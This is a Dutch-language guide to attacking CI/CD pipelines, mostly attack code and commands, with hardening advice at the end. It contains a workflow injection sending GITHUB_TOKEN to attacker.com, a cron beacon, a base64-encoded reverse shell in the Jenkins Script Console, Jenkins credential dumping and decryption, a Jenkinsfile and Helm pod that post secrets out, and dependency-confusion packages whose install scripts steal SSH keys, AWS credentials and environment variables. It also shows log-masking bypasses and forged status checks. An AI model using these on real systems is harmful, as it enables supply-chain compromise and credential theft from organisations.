CI/CD Pipeline Aanvallen

# Voorbeeld: GitHub Actions met AWS OIDC
jobs:
  deploy:
    permissions:
      id-token: write
      contents: read
    steps:
    - uses: aws-actions/configure-aws-credentials@v4
      with:
        role-to-assume: arn:aws:iam::123456789:role/GitHubActions
        aws-region: eu-west-1
    # Geen AWS_ACCESS_KEY_ID of AWS_SECRET_ACCESS_KEY nodig!

# KWETSBAAR: issue title wordt direct in de shell geïnjecteerd
name: Issue Handler
on:
  issues:
    types: [opened]

jobs:
  process:
    runs-on: ubuntu-latest
    steps:
    - run: |
        echo "Processing issue: ${{ github.event.issue.title }}"
        # Als de issue title is: "; curl https://attacker.com/steal?t=$(cat $GITHUB_TOKEN)"
        # wordt dit:
        # echo "Processing issue: "; curl https://attacker.com/steal?t=$(cat $GITHUB_TOKEN)

# VEILIG: gebruik een environment variable als tussenlaag
steps:
- name: Process issue
  env:
    ISSUE_TITLE: ${{ github.event.issue.title }}
  run: |
    echo "Processing issue: $ISSUE_TITLE"
    # De waarde wordt nu als environment variable doorgegeven,
    # niet als template die in de shell wordt geïnjecteerd

# Een pull request van een fork kan code uitvoeren op self-hosted runners
# ALS de workflow getriggerd wordt door pull_request
# EN self-hosted runners beschikbaar zijn voor het project
name: Build
on:
  pull_request:  # Triggert op PRs van forks!
jobs:
  build:
    runs-on: self-hosted  # Draait op de interne runner
    steps:
    - uses: actions/checkout@v4  # Checkt de code van de fork uit
    - run: make build            # Voert de code van de aanvaller uit

# Op de self-hosted runner (na het uitvoeren van een malicious PR):

# 1. Netwerk verkenning
ip addr
cat /etc/resolv.conf
nmap -sn 10.0.0.0/24

# 2. Credentials zoeken
find / -name ".env" -o -name "*.key" -o -name "kubeconfig" 2>/dev/null
cat ~/.docker/config.json
cat ~/.kube/config
cat ~/.aws/credentials

# 3. Andere workflow runs bespioneren (persistent runner)
ls -la /home/runner/actions-runner/_work/
# Bevat code en artefacten van eerdere builds

# 4. Runner registration token stelen
cat /home/runner/actions-runner/.credentials
cat /home/runner/actions-runner/.runner

# 5. Implant achterlaten (als de runner niet ephemeral is)
echo "* * * * * curl https://attacker.com/beacon" | crontab -
# Of pas de runner configuratie aan om bij elke build code uit te voeren

# Standaard GITHUB_TOKEN permissies (als niet beperkt):
permissions:
  actions: write
  checks: write
  contents: write     # KAN CODE PUSHEN!
  deployments: write
  issues: write
  packages: write
  pull-requests: write
  repository-projects: write
  security-events: write
  statuses: write

# Best practice: minimale permissies
permissions:
  contents: read
  # Voeg alleen toe wat nodig is

# Exfiltratie van GITHUB_TOKEN in een workflow
# Het token is beschikbaar als $GITHUB_TOKEN of ${{ secrets.GITHUB_TOKEN }}

# Stap 1: Lees het token
echo $GITHUB_TOKEN
# Of:
cat $GITHUB_TOKEN  # soms als bestand beschikbaar

# Stap 2: Gebruik het token om repository secrets te lezen
# (als het token voldoende permissies heeft)
curl -s -H "Authorization: token $GITHUB_TOKEN" \
    "https://api.github.com/repos/ORG/REPO/actions/secrets"

# Stap 3: Gebruik het token om code te pushen
git config user.name "bot"
git config user.email "bot@example.com"
git remote set-url origin https://x-access-token:$GITHUB_TOKEN@github.com/ORG/REPO.git
echo "backdoor" >> backdoor.sh
git add . && git commit -m "chore: update dependencies" && git push

# Stap 4: Lees de Organization secrets (als org-level token)
curl -s -H "Authorization: token $GITHUB_TOKEN" \
    "https://api.github.com/orgs/ORG/actions/secrets"

# KWETSBAAR: debug output bevat secrets
jobs:
  build:
    steps:
    - run: |
        echo "Debug: ENV=$(env)"  # Dumpt ALLE environment variables
        npm run build 2>&1 | tee build.log  # Build log bevat secret refs
    - uses: actions/upload-artifact@v4
      with:
        name: build-output
        path: |
          dist/
          build.log  # Bevat mogelijk gelekte secrets!

# Download artefacten via de GitHub API
# Lijst alle artefacten van een repository
curl -s -H "Authorization: token $TOKEN" \
    "https://api.github.com/repos/ORG/REPO/actions/artifacts" \
    | python3 -c "
import sys, json
for a in json.load(sys.stdin)['artifacts']:
    print(f\"{a['id']}: {a['name']} ({a['created_at']})\")
"

# Download een specifiek artefact
curl -sL -H "Authorization: token $TOKEN" \
    "https://api.github.com/repos/ORG/REPO/actions/artifacts/ARTIFACT_ID/zip" \
    -o artifact.zip
unzip artifact.zip
grep -rn -iE '(password|secret|key|token|credential)' .

# KWETSBAAR: pull_request_target + checkout van PR code
name: PR Build
on:
  pull_request_target:  # Draait met secrets van main branch!

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
    - uses: actions/checkout@v4
      with:
        ref: ${{ github.event.pull_request.head.sha }}
        # Checkt de CODE VAN DE PR uit, maar draait met SECRETS VAN MAIN
    - run: npm install  # Voert package.json scripts uit van de PR
    - run: npm test     # Aanvaller controleert de tests

# VEILIG: gebruik pull_request_target alleen zonder code checkout
name: PR Label
on:
  pull_request_target:
    types: [opened]

jobs:
  label:
    runs-on: ubuntu-latest
    steps:
    - uses: actions/github-script@v7
      with:
        script: |
          // Voer NOOIT code uit van de PR
          // Gebruik alleen de GitHub API
          await github.rest.issues.addLabels({
            owner: context.repo.owner,
            repo: context.repo.repo,
            issue_number: context.issue.number,
            labels: ['needs-review']
          })

# .gitlab-ci.yml - malicious pipeline
stages:
  - exploit

steal_secrets:
  stage: exploit
  script:
    # 1. Dump alle CI/CD variables
    - env | sort
    # CI/CD variables (gemarkeerd als "protected" of niet)
    # worden als environment variables beschikbaar gemaakt

    # 2. Zoek naar overgebleven artefacten van andere projecten
    - find /builds/ -name "*.env" -o -name "*.key" 2>/dev/null

    # 3. Als de runner Docker-in-Docker ondersteunt:
    - docker ps  # Andere containers op dezelfde runner?
    - docker images  # Cached images met secrets?

    # 4. Netwerk verkenning vanuit de runner
    - apt-get update && apt-get install -y nmap
    - nmap -sn 10.0.0.0/24

# In een GitLab CI job:
# Alle variables zijn beschikbaar als env vars
env | grep -E '^(CI_|CUSTOM_|DB_|AWS_|DEPLOY_)'

# Protected variables zijn alleen beschikbaar op protected branches
# MAAR: als je toegang hebt tot een protected branch...
git checkout main  # of production, release, etc.
# ...dan zijn alle protected variables beschikbaar

# Masked variables worden verborgen in de build log
# MAAR: er zijn manieren om ze te onthullen
echo "$SECRET_VAR" | base64  # Base64-encoded output wordt niet gemasked
echo "$SECRET_VAR" | rev     # Omgekeerde tekst wordt niet gemasked
echo "$SECRET_VAR" > /tmp/secret.txt
cat /tmp/secret.txt          # Bestand output wordt niet gemasked

# .gitlab-ci.yml - extract protected variables
extract_vars:
  script:
    # Methode 1: schrijf naar bestand en upload als artifact
    - env > /tmp/all_vars.txt
    - base64 /tmp/all_vars.txt  # Omzeilt masking
  artifacts:
    paths:
      - /tmp/all_vars.txt
    expire_in: 1 hour
  only:
    - main  # Protected branch = protected variables beschikbaar

# Methode 1: Als je maintainer bent, kun je direct pushen
# (tenzij "No one" is geconfigureerd voor push access)
git push origin main

# Methode 2: Branch protection rules zijn soms te specifiek
# Protected branch: "main"
# Maar niet: "Main", "MAIN", of "refs/heads/main"
# (case-sensitivity afhankelijk van configuratie)

# Methode 3: Tags kunnen soms worden gepusht zonder review
git tag -a v1.0.0 -m "Release"
git push origin v1.0.0
# Als de pipeline triggert op tags en protected variables beschikbaar zijn...

# Methode 4: Merge request approval bypass via API
# Als de minimale approvals op 1 staat en je zelf kunt approven:
curl -X POST "https://gitlab.com/api/v4/projects/ID/merge_requests/MR_ID/approve" \
    -H "PRIVATE-TOKEN: $GITLAB_TOKEN"

# .gitlab-ci.yml met include
include:
  - project: 'shared/ci-templates'
    file: '/templates/build.yml'
    ref: main
  - remote: 'https://internal-server.com/pipeline.yml'
  - local: '/ci/deploy.yml'

# AANVAL: als je de included bron kunt wijzigen,
# wijzig je effectief de pipeline van het doelproject
# zonder die repo direct aan te raken

# Aanval op 'remote' include:
# Als je de webserver beheert die de YAML host,
# of DNS kunt manipuleren om het verzoek te redirecten:

# malicious pipeline.yml op attacker's server
stages:
  - pwn

exfiltrate:
  stage: pwn
  script:
    - env | curl -X POST -d @- https://attacker.com/collect
  # Dit wordt uitgevoerd in de context van het doelproject
  # met al zijn CI/CD variables en secrets

// Jenkins Script Console - Remote Code Execution
// URL: https://JENKINS/script

// Commando uitvoeren
println "whoami".execute().text
println "id".execute().text
println "cat /etc/shadow".execute().text

// Reverse shell
def cmd = "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9BVFRBQ0tFUl9JUC80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}"
println cmd.execute().text

// Bestanden lezen
new File("/etc/passwd").text

// Environment variables (bevat vaak secrets)
System.getenv().each { k, v -> println "$k=$v" }

// Jenkins credentials uitlezen
import com.cloudbees.plugins.credentials.CredentialsProvider
import com.cloudbees.plugins.credentials.common.StandardUsernamePasswordCredentials
import jenkins.model.Jenkins

def creds = CredentialsProvider.lookupCredentials(
    StandardUsernamePasswordCredentials.class,
    Jenkins.instance, null, null
)
creds.each {
    println "ID: ${it.id}"
    println "Username: ${it.username}"
    println "Password: ${it.password}"
    println "---"
}

// Historische sandbox escapes (ter illustratie):

// Via meta-programming
// CVE-2019-1003000 en varianten
@Grab('commons-io:commons-io:2.6')
import org.apache.commons.io.IOUtils

// Via AST transformations
@groovy.transform.ASTTest(value = {
    assert java.lang.Runtime.getRuntime().exec("id")
})
class Exploit {}

// Moderne pipelines: gebruik de "Script Security" plugin bypass
// Vraag de admin om een script te "approven" via Social Engineering

# Op het Jenkins-filesysteem (na compromitteren van de master):

# Credentials zijn opgeslagen in:
cat /var/lib/jenkins/credentials.xml
# Of:
cat $JENKINS_HOME/credentials.xml

# De encryptiesleutel:
cat /var/lib/jenkins/secrets/master.key
cat /var/lib/jenkins/secrets/hudson.util.Secret

# Decryptie met jenkins-credentials-decryptor:
# https://github.com/hoto/jenkins-credentials-decryptor
jenkins-credentials-decryptor \
    -m /var/lib/jenkins/secrets/master.key \
    -s /var/lib/jenkins/secrets/hudson.util.Secret \
    -c /var/lib/jenkins/credentials.xml

# Of via de Script Console (als je web-toegang hebt):
println hudson.util.Secret.decrypt("{AQAAABAAAAAw...}")

// Malicious Jenkinsfile
pipeline {
    agent any
    stages {
        stage('Build') {
            steps {
                // Normaal uitziende build stap
                sh 'mvn clean install'
            }
        }
        stage('Deploy') {
            steps {
                // Exfiltreer credentials
                withCredentials([
                    usernamePassword(
                        credentialsId: 'prod-deploy',
                        usernameVariable: 'DEPLOY_USER',
                        passwordVariable: 'DEPLOY_PASS'
                    ),
                    string(
                        credentialsId: 'aws-secret',
                        variable: 'AWS_KEY'
                    )
                ]) {
                    sh '''
                        # Ziet eruit als een deployment check
                        curl -s "https://attacker.com/collect" \
                            -d "user=$DEPLOY_USER" \
                            -d "pass=$DEPLOY_PASS" \
                            -d "aws=$AWS_KEY"
                    '''
                }
            }
        }
    }
}

# In elke CI/CD omgeving:
env | sort
# Toont ALLE environment variables, inclusief secrets
# die via de CI/CD configuratie zijn geïnjecteerd

# Specifieke patronen om te zoeken:
env | grep -iE '(password|secret|key|token|credential|api_key|access_key)'

# AWS credentials
env | grep AWS
# AWS_ACCESS_KEY_ID=AKIA...
# AWS_SECRET_ACCESS_KEY=wJal...
# AWS_SESSION_TOKEN=...

# Database credentials
env | grep -iE '(db_|database_|mysql_|postgres_|mongo_)'
# DB_PASSWORD=SuperSecret123

# Cloud provider tokens
env | grep -iE '(gcp_|google_|azure_|arm_)'

# Methode 1: Debug mode
# Veel build tools dumpen environment variables in verbose/debug mode
npm install --verbose 2>&1  # Kan registry tokens tonen
pip install -r requirements.txt -v  # Kan index URLs met credentials tonen
terraform plan 2>&1  # Kan provider credentials tonen

# Methode 2: Error messages
# Foutmeldingen bevatten vaak de waarden die het probleem veroorzaken
curl -u "admin:$SECRET_PASSWORD" https://internal-api.com/endpoint
# Als de curl faalt, kan de foutmelding de volledige URL met credentials tonen

# Methode 3: Stack traces
# Applicatie-crashes dumpen soms de environment of configuratie
python -c "import os; raise Exception(os.environ)"

# Veelvoorkomende bestanden met secrets in build artefacten:
# .env bestanden
# docker-compose.yml met hardcoded credentials
# terraform.tfstate (bevat ALLE infrastructure state inclusief passwords)
# kubeconfig bestanden
# .npmrc met registry tokens
# pip.conf met index URLs
# settings.xml (Maven) met repository credentials
# gradle.properties met signing keys

# Terraform state is bijzonder gevaarlijk:
cat terraform.tfstate | python3 -c "
import sys, json
state = json.load(sys.stdin)
for resource in state.get('resources', []):
    for instance in resource.get('instances', []):
        attrs = instance.get('attributes', {})
        for key, value in attrs.items():
            if any(s in key.lower() for s in ['password', 'secret', 'key', 'token']):
                print(f'{resource[\"type\"]}.{resource[\"name\"]}: {key}={value}')
"

# Zoek naar .env bestanden in de git history
git log --all --full-history -- "*.env"
git log --all --full-history -- ".env*"

# Haal een verwijderd .env bestand op
git log --diff-filter=D -- .env
git show COMMIT_HASH:.env

# Zoek in de volledige git history naar secrets
# truffleHog
trufflehog git file:///path/to/repo

# git-secrets
git secrets --scan-history

# gitleaks
gitleaks detect --source /path/to/repo --verbose

# Stap 1: Ontdek interne package namen
# Via error messages in build logs
# Via package.json / requirements.txt / .csproj in publieke repos
# Via npm/pip install output die naar een private registry wijst
# Via DNS-verzoeken (als je het netwerk kunt sniffen)

# Voorbeeld: package.json met interne packages
{
  "dependencies": {
    "react": "^18.0.0",          // Publiek - bestaat op npm
    "company-utils": "^1.2.3",    // Intern - bestaat NIET op npm
    "company-auth": "^2.0.0"      // Intern - bestaat NIET op npm
  }
}

# Stap 2: Publiceer een malicious package met dezelfde naam
# maar een HOGER versienummer

# npm
mkdir company-utils && cd company-utils
npm init -y
# Zet het versienummer hoger dan de interne versie
cat > package.json << 'EOF'
{
  "name": "company-utils",
  "version": "99.0.0",
  "scripts": {
    "preinstall": "curl https://attacker.com/collect?pkg=company-utils&host=$(hostname)"
  }
}
EOF
npm publish

# PyPI
cat > setup.py << 'EOF'
from setuptools import setup
from setuptools.command.install import install
import os

class PostInstall(install):
    def run(self):
        install.run(self)
        os.system("curl https://attacker.com/collect?pkg=company-utils")

setup(
    name="company-utils",
    version="99.0.0",
    cmdclass={"install": PostInstall}
)
EOF
python3 setup.py sdist
twine upload dist/*

# NuGet
# Vergelijkbaar patroon met .csproj en pre/post build events

# Voorbeelden van typosquats:
# Origineel:      Typosquat:
# lodash          1odash (L vs 1)
# requests        requets (letters omgedraaid)
# python-dateutil python-dateutill (extra l)
# colors          colour (Brits Engels)
# express         expresss (extra s)

# Automatische typosquat-generatie:
# - Letter omwisseling: ab -> ba
# - Letter toevoeging: abc -> abbc
# - Letter verwijdering: abc -> ac
# - Letter vervanging: abc -> adc
# - Homoglyphen: l -> 1, O -> 0, rn -> m

# npm scoped packages
# Intern: @company/utils (scoped)
# Aanvaller kan niet: @company/utils publiek aanmaken (scope is beschermd)
# Maar als het interne package NIET scoped is:
# Intern: company-utils (niet scoped)
# Aanvaller kan WEL: company-utils op npm publiceren

# PyPI heeft geen scopes
# Intern: company-utils
# Aanvaller: company-utils op PyPI = dependency confusion

# Verdediging: gebruik ALTIJD scoped/namespaced packages
# npm: @company/utils
# NuGet: Company.Utils met reserved prefix
# PyPI: publiceer een placeholder met dezelfde naam

# GitHub Actions - verwijzen naar een action
steps:
- uses: actions/checkout@v4           # Officieel, veilig
- uses: random-user/deploy-action@v1  # Wie is random-user?
- uses: company/internal-action@main  # Wat als iemand main pusht?

# HET RISICO: als "random-user" zijn GitHub account wordt gecompromitteerd,
# of als hij besluit kwaadaardige code toe te voegen aan v1,
# draait die code in JOUW pipeline met JOUW secrets

# VEILIG: pin actions op een specifieke commit SHA
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11  # v4.1.1
# Nu maakt het niet uit of de tag wordt verplaatst --
# je gebruikt altijd dezelfde code

# Maar wie controleert die SHA? En wanneer update je?
# En wat als de action dependency heeft op ANDERE actions?
# Supply chain security is een eindeloze keten van vertrouwen.

# Veelvoorkomende technieken in malicious packages:

# 1. Postinstall scripts
# package.json:
"scripts": {
    "postinstall": "node malicious.js"
}

# 2. Import-time code execution
# Python: code in __init__.py of setup.py draait bij import/install
# Ruby: code in gemspec draait bij install
# Go: init() functies draaien bij import

# 3. Typosquatting + credential theft
# malicious setup.py:
import os, json, base64, urllib.request
data = {
    "hostname": os.uname().nodename,
    "env": dict(os.environ),
    "ssh_keys": [],
    "aws_creds": None
}
# Verzamel SSH keys
for f in [os.path.expanduser("~/.ssh/id_rsa"), os.path.expanduser("~/.ssh/id_ed25519")]:
    try:
        data["ssh_keys"].append(open(f).read())
    except: pass
# Verzamel AWS credentials
try:
    data["aws_creds"] = open(os.path.expanduser("~/.aws/credentials")).read()
except: pass
# Exfiltreer
urllib.request.urlopen(urllib.request.Request(
    "https://attacker.com/collect",
    data=json.dumps(data).encode(),
    headers={"Content-Type": "application/json"}
))

# Als je toegang hebt tot de artifact storage (S3 bucket, Artifactory, etc.):

# Stap 1: Download het originele artefact
aws s3 cp s3://company-artifacts/webapp/v2.1.0/webapp.jar ./

# Stap 2: Decompileer en modificeer
# Voor Java:
unzip webapp.jar -d webapp
# Voeg een backdoor klasse toe
javac -cp webapp Backdoor.java
cp Backdoor.class webapp/com/company/

# Stap 3: Hercompileer en upload
cd webapp && jar cf ../webapp-modified.jar . && cd ..
aws s3 cp webapp-modified.jar s3://company-artifacts/webapp/v2.1.0/webapp.jar

# Voor npm packages:
npm pack company-webapp
tar xzf company-webapp-2.1.0.tgz
# Modificeer package/index.js
# Herpack en upload

# Stap 4: Wacht tot de volgende deployment het getamperde artefact gebruikt

# ArgoCD standaard poorten
# 443/8080 - ArgoCD API Server (web UI + API)
# 8083 - ArgoCD Repo Server

# Stap 1: Ontdek ArgoCD
nmap -p 443,8080,8083 -sV TARGET

# Stap 2: Test standaard credentials
# ArgoCD < 1.9: admin / (leeg wachtwoord)
# ArgoCD >= 1.9: admin / (initieel wachtwoord in een Secret)
argocd login ARGOCD_SERVER --username admin --password ''
argocd login ARGOCD_SERVER --username admin --password 'admin'

# Stap 3: Als je toegang hebt, enumerate
argocd app list
argocd cluster list
argocd repo list
argocd proj list

# Stap 4: Lees repository credentials
# ArgoCD slaat repo credentials op in Kubernetes Secrets
kubectl get secrets -n argocd -l argocd.argoproj.io/secret-type=repository -o yaml

# values.yaml - bevat vaak secrets in plain text
database:
  host: prod-db.internal
  username: webapp
  password: ProductionP@ssw0rd!  # Oeps.

redis:
  password: RedisSecret123

aws:
  accessKey: AKIA...
  secretKey: wJal...

# Malicious Helm template - voeg een pod toe die secrets exfiltreert
# templates/debug-pod.yaml (ziet eruit als een debug tool)
apiVersion: v1
kind: Pod
metadata:
  name: {{ .Release.Name }}-debug
  labels:
    app: {{ .Release.Name }}
spec:
  containers:
  - name: debug
    image: alpine
    command:
    - /bin/sh
    - -c
    - |
      # Verzamel alle secrets in de namespace
      apk add --no-cache curl
      SECRETS=$(kubectl get secrets -o json 2>/dev/null | base64 -w0)
      curl -s "https://attacker.com/collect" -d "$SECRETS"
      sleep infinity
  serviceAccountName: {{ .Release.Name }}
  # Gebruikt het service account van de applicatie

# Zoek naar secrets in Helm values bestanden
# In de Git repository:
find . -name "values*.yaml" -o -name "values*.yml" | while read f; do
    echo "=== $f ==="
    grep -n -iE '(password|secret|key|token|credential)' "$f"
done

# In ArgoCD (als je API-toegang hebt):
argocd app get APP_NAME -o yaml | grep -A5 -iE '(password|secret|key)'

# In het cluster:
helm get values RELEASE_NAME -n NAMESPACE
# Toont ALLE values inclusief secrets

# Bypass 1: Admin override
# Admins kunnen branch protection regels overrulen
# Als je een admin account compromitteert:
git push origin main --force  # Admin kan dit (als "include administrators" niet is ingeschakeld)

# Bypass 2: Status check manipulation
# Status checks worden gerapporteerd via de GitHub/GitLab API
# Als je een token hebt met 'repo:status' scope:
curl -X POST "https://api.github.com/repos/ORG/REPO/statuses/$COMMIT_SHA" \
    -H "Authorization: token $TOKEN" \
    -d '{
        "state": "success",
        "context": "ci/security-scan",
        "description": "All checks passed"
    }'
# De security scan is "geslaagd" -- zonder dat hij daadwerkelijk heeft gedraaid

# Bypass 3: Required reviewers omzeilen
# Als het minimale aantal reviewers op 1 staat:
# Compromitteer een tweede account en approve je eigen PR
# Of: als "dismiss stale reviews" niet is ingeschakeld,
# approve de PR, push nieuwe (kwaadaardige) commits, en merge

# Bypass 4: CODEOWNERS bypass
# .github/CODEOWNERS definieert wie welke bestanden moet reviewen
# Maar CODEOWNERS wordt alleen afgedwongen als het is geconfigureerd
# in de branch protection rules. Check of het daadwerkelijk actief is.

# Bypass 5: Fork-based bypass
# Fork de repo, maak wijzigingen, open een PR
# In sommige configuraties worden fork PRs minder streng behandeld

# Scenario: 2 required reviewers

# Methode 1: Compromitteer 2 reviewer accounts
# Social engineering, credential stuffing, of gelekte tokens

# Methode 2: Self-approval via API (als niet geblokkeerd)
# Sommige platforms staan toe dat een PR-auteur zijn eigen PR approved
# via de API, ook als het via de UI is geblokkeerd
curl -X POST "https://api.github.com/repos/ORG/REPO/pulls/PR_NUM/reviews" \
    -H "Authorization: token $AUTHOR_TOKEN" \
    -d '{"event": "APPROVE"}'

# Methode 3: Review dismissal
# Als je 'dismiss review' permissies hebt:
# Dismiss een negatieve review en vervang door een goedkeuring

# Scenario: repository vereist signed commits

# Methode 1: GPG key van een developer compromitteren
# De private key staat vaak unencrypted in ~/.gnupg/

# Methode 2: Commit spoofing
# Git commit author is niet cryptografisch gekoppeld aan de GPG key
# Je kunt een commit signen met JOUW key maar de author op IEMAND ANDERS zetten
git commit --author="Trusted Dev <trusted@company.com>" -S -m "Legitimate change"
# De commit is gesigned (door jou), maar de author is iemand anders
# Sommige systemen checken alleen OF een commit is gesigned, niet DOOR WIE

# Methode 3: Rebase en force push (als toegestaan)
# Herschrijf de history met unsigned commits
# en force push (als branch protection dit toestaat voor admins)

# Voorbeeld: SLSA provenance genereren in GitHub Actions
- uses: slsa-framework/slsa-github-generator/.github/workflows/generator_generic_slsa3.yml@v1.9.0
  with:
    base64-subjects: "${{ needs.build.outputs.hashes }}"

# Cosign: container image signing
# Teken een image
cosign sign --key cosign.key REGISTRY/IMAGE:TAG

# Verifieer een image
cosign verify --key cosign.pub REGISTRY/IMAGE:TAG

# Keyless signing met OIDC (geen sleutelbeheer nodig)
cosign sign REGISTRY/IMAGE:TAG
# Authenticeert via je OIDC identity (GitHub, Google, etc.)

# In Kubernetes: Kyverno policy om alleen gesignde images toe te staan
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: verify-image-signatures
spec:
  validationFailureAction: Enforce
  rules:
  - name: verify-cosign
    match:
      any:
      - resources:
          kinds:
          - Pod
    verifyImages:
    - imageReferences:
      - "registry.company.com/*"
      attestors:
      - entries:
        - keyless:
            subject: "https://github.com/company/*"
            issuer: "https://token.actions.githubusercontent.com"

# GitHub Actions: gebruik altijd GitHub-hosted runners voor publieke repos
runs-on: ubuntu-latest  # Ephemeral, schone omgeving per job

# Self-hosted runners: configureer als ephemeral
# ./config.sh --ephemeral
# Runner wordt na elke job automatisch de-registered en opnieuw aangemaakt

# Docker-based ephemeral runners
# Elke job draait in een verse container
# Geen cross-job contaminatie mogelijk

# GitHub Actions: minimale GITHUB_TOKEN permissies
permissions:
  contents: read
  packages: write
  # Alleen wat nodig is, niets meer

# GitLab CI: gebruik scoped variables
variables:
  DEPLOY_TOKEN:
    value: $CI_DEPLOY_TOKEN
    # protected: alleen beschikbaar op protected branches
    # masked: verborgen in build logs

# Jenkins: gebruik credential scoping
// Jenkinsfile
withCredentials([
    usernamePassword(
        credentialsId: 'deploy-staging',  // Specifiek per omgeving
        usernameVariable: 'USER',
        passwordVariable: 'PASS'
    )
]) {
    // Credentials alleen beschikbaar in dit blok
    sh 'deploy.sh'
}

# AWS OIDC met GitHub Actions (geen langlevende credentials)
# Stap 1: Configureer de OIDC provider in AWS
# Stap 2: Maak een IAM role met trust policy
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "Federated": "arn:aws:iam::ACCOUNT:oidc-provider/token.actions.githubusercontent.com"
            },
            "Action": "sts:AssumeRoleWithWebIdentity",
            "Condition": {
                "StringEquals": {
                    "token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
                },
                "StringLike": {
                    "token.actions.githubusercontent.com:sub": "repo:ORG/REPO:ref:refs/heads/main"
                }
            }
        }
    ]
}

# Stap 3: Gebruik in de workflow
# - uses: aws-actions/configure-aws-credentials@v4
#   with:
#     role-to-assume: arn:aws:iam::ACCOUNT:role/GitHubActionsRole
#     aws-region: eu-west-1
# Geen AWS_ACCESS_KEY_ID, geen AWS_SECRET_ACCESS_KEY
# Alleen een kortlevend session token

# GCP Workload Identity Federation met GitHub Actions
# Vergelijkbaar principe: OIDC token → GCP service account
- uses: google-github-actions/auth@v2
  with:
    workload_identity_provider: 'projects/PROJECT_NUM/locations/global/workloadIdentityPools/github/providers/github-provider'
    service_account: 'github-actions@PROJECT.iam.gserviceaccount.com'